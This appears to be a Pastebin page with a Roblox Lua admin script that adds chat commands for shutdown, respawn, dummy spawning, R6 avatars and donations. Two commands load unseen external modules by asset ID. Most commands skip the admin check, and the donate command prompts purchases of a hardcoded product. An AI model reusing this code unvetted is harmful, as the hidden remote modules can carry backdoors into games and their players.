Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- || 🧛 CUSTOM ADMIN V1 🧛:
- || 📜 AUTHOR: @4zx16
- ]]
- local Prefix = ":"
- local RunService = game:GetService("RunService")
- local Commands = {
- ["Shutdown"] = Prefix.."shutdown";
- ["Respawn"] = Prefix.."re";
- ["Dummy"] = Prefix.."dummy";
- ["R6"] = Prefix.."r6";
- ["Donate"] = Prefix.."donate"
- }
- local Config_Settings = {
- Donate = 1367570123;
- Admins = {game.CreatorId}
- }
- local G = {
- MPS = game:GetService("MarketplaceService");
- Character = require(10879140793);
- Dummy = require(10879149445);
- }
- local function Find(player)
- player.Chatted:Connect(function(msg)
- if msg:sub(1, Commands.Respawn:len()):lower() == Commands.Respawn:lower() then
- player:LoadCharacter()
- end
- if msg:sub(1, Commands.Dummy:len()):lower() == Commands.Dummy:lower() then
- G.Dummy(player.Name)
- end
- if msg:sub(1, Commands.R6:len()):lower() == Commands.R6:lower() then
- G.Character(player.Name)
- end
- if msg:sub(1, Commands.Donate:len()):lower() == Commands.Donate:lower() then
- G.MPS:PromptProductPurchase(player, Config_Settings.Donate)
- end
- if msg:sub(1, Commands.Shutdown:len()):lower() == Commands.Shutdown:lower() then
- for _, v in pairs(game.Players:GetPlayers()) do
- for _, List in pairs(Config_Settings.Admins) do
- if player.Name == List or player.UserId == List then
- v:Kick("requested by ".. player.Name)
- end
- end
- end
- end
- end)
- end
- game.Players.PlayerAdded:Connect(Find)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement